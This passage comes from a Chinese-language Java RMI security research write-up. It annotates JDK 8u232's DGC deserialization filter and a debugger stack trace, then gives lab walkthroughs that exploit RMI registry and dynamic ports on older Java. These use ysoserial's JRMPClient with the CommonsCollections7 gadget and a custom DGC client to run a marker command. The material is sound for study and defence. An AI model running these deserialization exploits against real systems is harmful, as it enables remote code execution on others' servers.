filter DGC input objects. * The list of acceptable classes is very short and explicit. * The depth and array sizes are limited. * * @param filterInfo access to class, arrayLength, etc. * @return {@link ObjectInputFilter.Status#ALLOWED} if allowed, * {@link ObjectInputFilter.Status#REJECTED} if rejected, * otherwise {@link ObjectInputFilter.Status#UNDECIDED} */ private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null) { /* * 386行,如果指定-Dsun.rmi.transport.dgcFilter='*',流程至此。接下来会去 * 调用sun.misc.ObjectInputFilter$Config$Global.checkInput,后者会返回 * UNDECIDED。接下来流程会去393行,在那里返回REJECTED。 */ ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The DGC filter can override the built-in white-list return status; } } /* * 393行,如果指定-Dsun.rmi.transport.dgcFilter='*',流程至此 * * filterInfo.depth()等于6,DGC_MAX_DEPTH等于5 */ if (filterInfo.depth() > DGC_MAX_DEPTH) { /* * 394行 */ return ObjectInputFilter.Status.REJECTED; } Class clazz = filterInfo.serialClass(); if (clazz != null) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } // Arrays are allowed depending on the component type clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { // Arrays of primitives are allowed return ObjectInputFilter.Status.ALLOWED; } /* * 409行,java.util.Hashtable无法通过这个白名单检查,返回REJECTED */ return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } // Not a class, not size limited return ObjectInputFilter.Status.UNDECIDED; } -------------------------------------------------------------------------- java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dsun.rmi.transport.dgcFilter='*' \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414 指定dgcFilter,仍然失败,提示: INFO: ObjectInputFilter REJECTED: null, array length: -1, nRefs: 30, depth: 6, bytes: 877, ex: n/a 一般REJECTED后面显示被禁止的class,如果显示null,表示一种特殊的检查,此时 被REJECTED的原因是depth=6,大于5。这种特殊的检查无法通过调整dgcFilter来绕 过,算是功能性BUG。 [1] sun.misc.ObjectInputFilter$Config$Global.checkInput (ObjectInputFilter.java:642), pc = 0 [2] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:386), pc = 10 [3] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [4] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [5] sun.rmi.transport.DGCImpl$2$$Lambda$5.1374677625.checkInput (null), pc = 1 [6] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [7] java.io.ObjectInputStream.readHandle (ObjectInputStream.java:1,701), pc = 131 [8] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,744), pc = 65 [9] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,929), pc = 22 [10] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [11] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,974), pc = 412 [16] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [17] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [22] java.io.ObjectInputStream.defaultReadObject (ObjectInputStream.java:560), pc = 41 [23] org.apache.commons.collections.map.LazyMap.readObject (LazyMap.java:143), pc = 1 [24] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [25] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [26] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [27] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [28] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [29] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [30] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [31] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [32] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [33] java.util.Hashtable.readObject (Hashtable.java:1,211), pc = 208 [34] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [35] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [36] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [37] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [38] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [39] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [40] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [41] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [42] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [43] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [44] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [45] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [46] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [47] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [48] java.security.AccessController.doPrivileged (native method) [49] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [50] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [51] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [52] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [53] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$6.1876141160.run (null), pc = 4 [54] java.security.AccessController.doPrivileged (native method) [55] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [56] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [57] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [58] java.lang.Thread.run (Thread.java:748), pc = 11 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/misc/ObjectInputFilter.java -------------------------------------------------------------------------- /* * sun.misc.ObjectInputFilter$Config$Global.checkInput */ /** * {@inheritDoc} */ @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth || filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class clazz = filterInfo.serialClass(); if (clazz != null) { if (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) { // array length is too big return Status.REJECTED; } if (!checkComponentType) { // As revised; do not check the component type for arrays return Status.UNDECIDED; } do { // Arrays are decided based on the component type clazz = clazz.getComponentType(); } while (clazz.isArray()); } if (clazz.isPrimitive()) { // Primitive types are undecided; let someone else decide return Status.UNDECIDED; } else { // Find any filter that allowed or rejected the class final Class cl = clazz; Optional status = filters.stream() .map(f -> f.apply(cl)) .filter(p -> p != Status.UNDECIDED) .findFirst(); return status.orElse(Status.UNDECIDED); } } /* * 642行,如果指定-Dsun.rmi.transport.dgcFilter='*',流程至此 */ return Status.UNDECIDED; } -------------------------------------------------------------------------- 8u232指定dgcFilter时的行为应该算是BUG,无法通过调整maxdepth来绕过。无论怎 么调整maxdepth,总有一处返回REJECTED。 8) 用DGCClientWithHashtable打常规RMI动态端口 只要侦听RMI周知端口、动态端口,就有DGC在其中。对于低版本Java,找到RMI动态 端口就可以用DGCClientWithHashtable或ysoserial.exploit.JRMPClient打,不需要 EvilClientWithUnicastRemoteObject或ysoserial.payloads.JRMPListener。 参看: 《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt 复用其中某些class。 假设目录结构是: . | +---test1 | SomeDynamicServer4.class | SomeInterface4.class | SomeInterface4Impl.class | commons-collections-3.1.jar | \---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar rmi-dumpregistry.nse 在test1目录执行: rmiregistry 1099 java_8_40 \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ SomeDynamicServer4 any 在test2目录执行: nmap -n -Pn -p 1099 --script rmi-dumpregistry.nse 192.168.65.23 PORT STATE SERVICE 1099/tcp open java-rmi | rmi-dumpregistry: | any | implements java.rmi.Remote, SomeInterface4, | extends | java.lang.reflect.Proxy | fields | Ljava/lang/reflect/InvocationHandler; h | java.rmi.server.RemoteObjectInvocationHandler | @192.168.65.23:45246 | extends |_ java.rmi.server.RemoteObject java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 45246 \ "/bin/touch /tmp/scz_is_here" java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 45246 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here" "CVE-2017-3241进阶"篇用8u232可以得手,DGCClientWithHashtable只能打8u40等低 版本。 9) 用DGCClientWithHashtable打常规RMI周知端口 RMI周知端口一样有DGC在其中。对于低版本Java,可以用DGCClientWithHashtable或 ysoserial.exploit.JRMPClient打RMI周知端口。之前打RMI周知端口用过 ysoserial.exploit.RMIRegistryExploit。 参看: 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 复用其中某些class。 假设目录结构是: . | +---test1 | RMIRegistryServer.class | commons-collections-3.1.jar | \---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar 在test1目录执行: java_8_40 \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1099 \ "/bin/touch /tmp/scz_is_here" java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here" ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git